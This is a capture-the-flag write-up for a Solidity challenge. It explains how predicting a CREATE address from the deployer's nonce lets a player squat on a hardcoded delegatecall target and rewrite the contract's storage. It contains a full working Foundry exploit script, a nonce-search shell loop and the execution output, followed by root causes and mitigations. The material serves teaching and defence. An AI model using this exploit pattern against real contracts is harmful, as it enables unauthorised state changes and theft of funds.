Challenge Overview
The challenge deploys a PortalStation contract — a portal management system that can activate portals to different fantasy kingdoms. Three destination addresses are hardcoded in its constructor. The win condition is activating the "orcKingdom" portal, which is initially inactive.
Objective: TARGET.isPortalActive("orcKingdom") == true.
The challenge name "Noncense" is the pun: the exploit depends on the deployer's transaction nonce.
Contract Architecture
Setup.sol
| 1 | contract Setup { |
| 2 | PortalStation public immutable TARGET; |
| 3 | |
| 4 | constructor() { |
| 5 | TARGET = new PortalStation(); |
| 6 | } |
| 7 | |
| 8 | function isSolved() public view returns (bool) { |
| 9 | return TARGET.isPortalActive("orcKingdom"); |
| 10 | } |
| 11 | } |
PortalStation.sol — The Target
| 1 | contract PortalStation { |
| 2 | mapping(string => address) public destinations; |
| 3 | mapping(string => bool) public isPortalActive; |
| 4 | bool isExpertStandby; |
| 5 | |
| 6 | constructor() { |
| 7 | // Three hardcoded destination addresses |
| 8 | destinations["orcKingdom"] = 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007; |
| 9 | destinations["elfKingdom"] = 0x598136Fd1B89AeaA9D6825086B6E4cF9ad2BD4cF; |
| 10 | destinations["dawrfKingdom"] = 0xFc2D16b59Ec482FaF3A8B1ee6E7E4E8D45Ec8bf1; |
| 11 | isPortalActive["elfKingdom"] = true; |
| 12 | } |
| 13 | |
| 14 | function requestPortal(string calldata _destination) public payable { |
| 15 | require(destinations[_destination] != address(0)); |
| 16 | require(isExpertStandby, "Portal expert has a day off"); |
| 17 | require(msg.value > 1337 ether); |
| 18 | isPortalActive[_destination] = true; |
| 19 | } |
| 20 | |
| 21 | function createPortal(string calldata _destination) public { |
| 22 | require(destinations[_destination] != address(0)); |
| 23 | (bool success, bytes memory retValue) = destinations[_destination].delegatecall( |
| 24 | abi.encodeWithSignature("connect()") |
| 25 | ); |
| 26 | require(success, "Portal destination is currently not available"); |
| 27 | require(abi.decode(retValue, (bool)), "Connection failed"); |
| 28 | } |
| 29 | } |
The contract has two paths to activate a portal. Reading them critically reveals one is intentionally blocked, and the other contains the vulnerability.
The Dead End — requestPortal
| 1 | function requestPortal(string calldata _destination) public payable { |
| 2 | require(destinations[_destination] != address(0)); |
| 3 | require(isExpertStandby, "Portal expert has a day off"); // Always false |
| 4 | require(msg.value > 1337 ether); // Need 1337 ETH |
| 5 | isPortalActive[_destination] = true; |
| 6 | } |
This function looks like the intended path, but it is a deliberate dead end:
isExpertStandbyis never set totrueanywhere in the contract. The expert permanently has a day off.- Even if we got past that, we would need more than 1337 ETH. We don't have that.
KEY INSIGHT
CTF contracts often include an "obvious" path that is subtly or obviously impossible. When you encounter a function that requires an impossible condition, the challenge is asking you to find the non-obvious path. Reading the entire contract before starting to exploit is essential.
Understanding delegatecall
The second function, createPortal(), uses delegatecall. Understanding delegatecall deeply is the foundation of this exploit.
Mental Model — call vs delegatecall
Regular call (A calls B):
Execute B's code, in B's storage context. msg.sender = A. B's state changes.
Delegatecall (A delegatecalls B):
Execute B's code, in A's storage context. msg.sender = whoever called A. A's state changes.
Think of delegatecall as: "borrow B's code and run it as if it were our own." B's code reads and writes A's storage slots — not B's own.
REGULAR CALL:
ContractA ContractB
───────── ─────────
storage: [A's data] storage: [B's data] ← B reads/writes HERE
│
└──call──► ContractB.someFunc()
│
writes to B's storage
DELEGATECALL:
ContractA ContractB
───────── ─────────
storage: [A's data] ◄──────── storage: [B's data] (not used)
│ │
└──delegatecall──► ContractB.someFunc()
│
executes B's CODE
but reads/writes A's STORAGEThis means: if we control what contract lives at a destination address, and that address receives a delegatecall from PortalStation, our contract's code runs — but it reads and writes PortalStation's storage. We can flip isPortalActive["orcKingdom"] to true in PortalStation's own state.
The Exploit Path — createPortal
| 1 | function createPortal(string calldata _destination) public { |
| 2 | require(destinations[_destination] != address(0)); |
| 3 | (bool success, bytes memory retValue) = destinations[_destination].delegatecall( |
| 4 | abi.encodeWithSignature("connect()") |
| 5 | ); |
| 6 | require(success, "Portal destination is currently not available"); |
| 7 | require(abi.decode(retValue, (bool)), "Connection failed"); |
| 8 | } |
The attack surface:
destinations["orcKingdom"]is hardcoded to0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007.- If we deploy a contract at that exact address,
createPortal("orcKingdom")willdelegatecallinto our contract. - Our contract's
connect()function executes in PortalStation's storage context. - Inside
connect(), we setisPortalActive["orcKingdom"] = true— which writes to PortalStation's own storage.
The critical question: how do we deploy a contract at a specific predetermined address?
Deterministic Contract Addresses
In Ethereum, when you deploy a contract using the CREATE opcode (the standard deployment mechanism), the resulting contract address is completely deterministic. It depends on exactly two things:
- The deployer's address — the account that sends the deployment transaction.
- The deployer's nonce — the transaction count of the deployer account at the time of deployment.
The formula is:
| 1 | contract_address = keccak256(RLP([deployer_address, nonce]))[12:] |
| 2 | |
| 3 | Where: |
| 4 | - RLP is Recursive Length Prefix encoding |
| 5 | - [12:] takes the last 20 bytes of the 32-byte hash (Ethereum addresses are 20 bytes) |
Concretely: every account on Ethereum has a nonce that starts at 0 and increments with each transaction. When you deploy a contract, that is also a transaction, so the nonce increments. An EOA that has sent 130 transactions will have its next deployment land at the address computed from keccak256(RLP([eoa_address, 130])).
Mental Model — Nonce and Deployment Address
An EOA's nonce tells you exactly which contract address each of its future deployments will land at — before the deployment happens. Given an EOA address and a nonce, you can calculate any future deployment address. Given a target address, you can find which nonce would produce it.
This is both an architectural feature (enabling address prediction for protocols) and a vulnerability when combined with a contract that hardcodes destination addresses and uses delegatecall.
Nonce Search
Our player EOA has address <PLAYER_ADDRESS>. We need to find which nonce would produce one of the three hardcoded destination addresses. Foundry's cast compute-addressdoes exactly this calculation:
$ for i in $(seq 0 150); do
addr=$(cast compute-address <PLAYER_ADDRESS> --nonce $i | awk '{print $NF}')
if [[ "$addr" == "0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007" ]] || \
[[ "$addr" == "0x598136Fd1B89AeaA9D6825086B6E4cF9ad2BD4cF" ]] || \
[[ "$addr" == "0xFc2D16b59Ec482FaF3A8B1ee6E7E4E8D45Ec8bf1" ]]; then
echo "MATCH at nonce $i: $addr"
fi
doneMATCH at nonce 130: 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007
Nonce 130 maps to the orcKingdom destination address.
Our player EOA currently has some starting nonce. We need to increase it to exactly 130 before deploying the malicious contract. We do this by deploying 130 throwaway dummy contracts. These deployments consume nonces 0 through 129, so the 131st deployment (nonce 130) lands exactly at0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007.
Player EOA nonce timeline:
Nonce 0 → Deploy Dummy contract #1
Nonce 1 → Deploy Dummy contract #2
Nonce 2 → Deploy Dummy contract #3
...
Nonce 129 → Deploy Dummy contract #130
Nonce 130 → Deploy MaliciousDestination
│
address == 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007
│
== destinations["orcKingdom"] ✓Storage Layout Must Match
This is a critical detail that many beginners miss when learning delegatecall exploits.
When MaliciousDestination.connect() runs in PortalStation's storage context, it accesses storage slots by their slot numbers — not by variable names. Variable names are a Solidity abstraction. At the EVM level, code reads and writes numeric slot indices.
If MaliciousDestination declares variables in a different order thanPortalStation, the slot numbers won't correspond to the intended variables. We would write to the wrong slots and corrupt unintended state.
Slot 0: mapping(string => address) destinations (mapping key → slot) Slot 1: mapping(string => bool) isPortalActive (mapping key → slot) Slot 2: bool isExpertStandby Our MaliciousDestination must declare: slot 0: mapping(string => address) destinations slot 1: mapping(string => bool) isPortalActive slot 2: bool isExpertStandby In the same order, so that writing isPortalActive["orcKingdom"] = true in our contract touches the correct slot in PortalStation's storage.
WARNING
For mapping variables, the actual storage slot of a specific key is computed as keccak256(abi.encode(key, slot)). So isPortalActive["orcKingdom"] in both contracts will hash the same key against the same base slot (1) — so the derived storage slot matches. This is why the layout must mirror exactly.
Writing the Exploit
| 1 | // SPDX-License-Identifier: UNLICENSED |
| 2 | pragma solidity ^0.8.13; |
| 3 | |
| 4 | import "forge-std/Script.sol"; |
| 5 | import {PortalStation} from "./Portal.sol"; |
| 6 | import {Setup} from "./Setup.sol"; |
| 7 | |
| 8 | // Throwaway contract to burn nonces |
| 9 | contract Dummy {} |
| 10 | |
| 11 | // Mirrors PortalStation's storage layout EXACTLY |
| 12 | contract MaliciousDestination { |
| 13 | mapping(string => address) public destinations; // slot 0 — matches PortalStation |
| 14 | mapping(string => bool) public isPortalActive; // slot 1 — matches PortalStation |
| 15 | bool isExpertStandby; // slot 2 — matches PortalStation |
| 16 | |
| 17 | function connect() external returns (bool) { |
| 18 | // This executes in PortalStation's storage context via delegatecall. |
| 19 | // Writing isPortalActive["orcKingdom"] here writes to PortalStation's slot 1, |
| 20 | // key "orcKingdom" — which is exactly what isSolved() checks. |
| 21 | isPortalActive["orcKingdom"] = true; |
| 22 | return true; |
| 23 | } |
| 24 | } |
| 25 | |
| 26 | contract ExploitScript is Script { |
| 27 | function run() external { |
| 28 | vm.startBroadcast(<PRIVATE_KEY>); |
| 29 | |
| 30 | // Burn nonces 0–129 with dummy contracts |
| 31 | for (uint i = 0; i < 130; i++) { |
| 32 | new Dummy(); |
| 33 | } |
| 34 | |
| 35 | // Nonce 130 → deploys at 0xFC31... (orcKingdom's hardcoded destination) |
| 36 | new MaliciousDestination(); |
| 37 | |
| 38 | // Trigger the delegatecall |
| 39 | PortalStation target = Setup(<SETUP_ADDRESS>).TARGET(); |
| 40 | target.createPortal("orcKingdom"); |
| 41 | |
| 42 | vm.stopBroadcast(); |
| 43 | } |
| 44 | } |
Walking through the critical design decisions:
- Lines 12–15:
MaliciousDestinationdeclares the same three storage variables asPortalStationin the same order. This ensures slot numbers align. - Lines 18–22:
connect()returnstrueto satisfycreatePortal()'s success check, and writesisPortalActive["orcKingdom"] = true— which, via delegatecall, writes to PortalStation's storage. - Lines 31–33: The loop deploys 130 dummy contracts, burning nonces 0–129. After the loop, the EOA's nonce is 130.
- Line 36:
new MaliciousDestination()at nonce 130 → deploys to0xFC31...= orcKingdom's destination. - Line 40:
createPortal("orcKingdom")now delegatecalls our contract, runningconnect()in PortalStation's storage.
Execution & Verification
$ forge script exploit.s.sol:ExploitScript \
--rpc-url http://<CHALLENGE_HOST>/rpc \
--broadcast== Logs == Contract Address: 0xFC31cde4aCbF2b1d2996a2C7f695E850918e4007 ← MaliciousDestination! Function: createPortal(string) ← delegatecall triggered! ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
$ cast call --rpc-url $RPC $SETUP "isSolved()"0x0000000000000000000000000000000000000000000000000000000000000001
ExploitScript.run()
│
├── Deploy Dummy ×130 (burn nonces 0–129)
│
├── Deploy MaliciousDestination (nonce 130)
│ │
│ └── lands at 0xFC31... == orcKingdom destination
│
└── PortalStation.createPortal("orcKingdom")
│
│ destinations["orcKingdom"] == 0xFC31... == MaliciousDestination
│
└── 0xFC31....delegatecall("connect()")
│
│ MaliciousDestination.connect() executes
│ in PortalStation's storage context
│
└── isPortalActive["orcKingdom"] = true
(written to PortalStation's storage)
│
▼
isSolved() → trueRoot Cause & Mitigation
Root Cause 1 — Hardcoded Destination Addresses Without Existence Checks
The destinations mapping holds hardcoded addresses that have no deployed contracts at challenge start. The contract checks destinations[_destination] != address(0)but does not verify that the destination address actually contains contract code. This means anyone who deploys to a destination address gains control of that destination.
Root Cause 2 — delegatecall to an Untrusted, Attacker-Controllable Address
delegatecall executes arbitrary code in the caller's storage context. Usingdelegatecall to an address that can be controlled by an attacker is equivalent to giving the attacker full write access to your storage. This is the same class of bug as the original Parity Multisig wallet hack (2017).
Mitigations
- Avoid delegatecall to dynamic addresses:
delegatecallshould only be used with immutable, audited implementation addresses (as in the proxy pattern). Never delegatecall to addresses that can be influenced by users. - Check for extcodesize: Before delegatecalling, verify
address.code.length > 0. This at least confirms something is deployed there at that moment (though still not trustworthy if the address can be controlled). - Use a whitelist of audited implementations: If the destination must be dynamic, maintain an admin-controlled whitelist of approved implementation addresses.
Lessons Learned
Lesson 1 — delegatecall is a Storage Proxy
When A delegatecalls B, B's code runs but A's storage is affected. Whoever controls B controls A's storage. This is intentional when used in the proxy pattern with trusted implementations, but catastrophic when the implementation address can be influenced by an attacker.
Lesson 2 — CREATE Addresses are Perfectly Predictable
Contract deployment addresses are not random. They are a deterministic function of the deployer address and nonce. Any contract that hardcodes destination addresses is assuming that no one will ever deploy to those addresses. On a private CTF chain, that assumption can be defeated by burning nonces. In production, the same technique applies to any address that hasn't been deployed to yet.
Lesson 3 — Storage Layout Must Mirror Exactly in delegatecall Exploits
When crafting a malicious implementation for a delegatecall exploit, the variable declarations must be in the same order as the target contract. The EVM uses slot numbers, not names. If your layout drifts, you corrupt wrong slots — potentially causing a revert or unintended side effects.
Lesson 4 — Pattern Recognition
Whenever you see: (a) hardcoded destination addresses, (b) delegatecall to those destinations, and (c) a function on the destination contract that runs untrusted code — the exploit path is to deploy a malicious contract at the destination. The nonce arithmetic tells you how.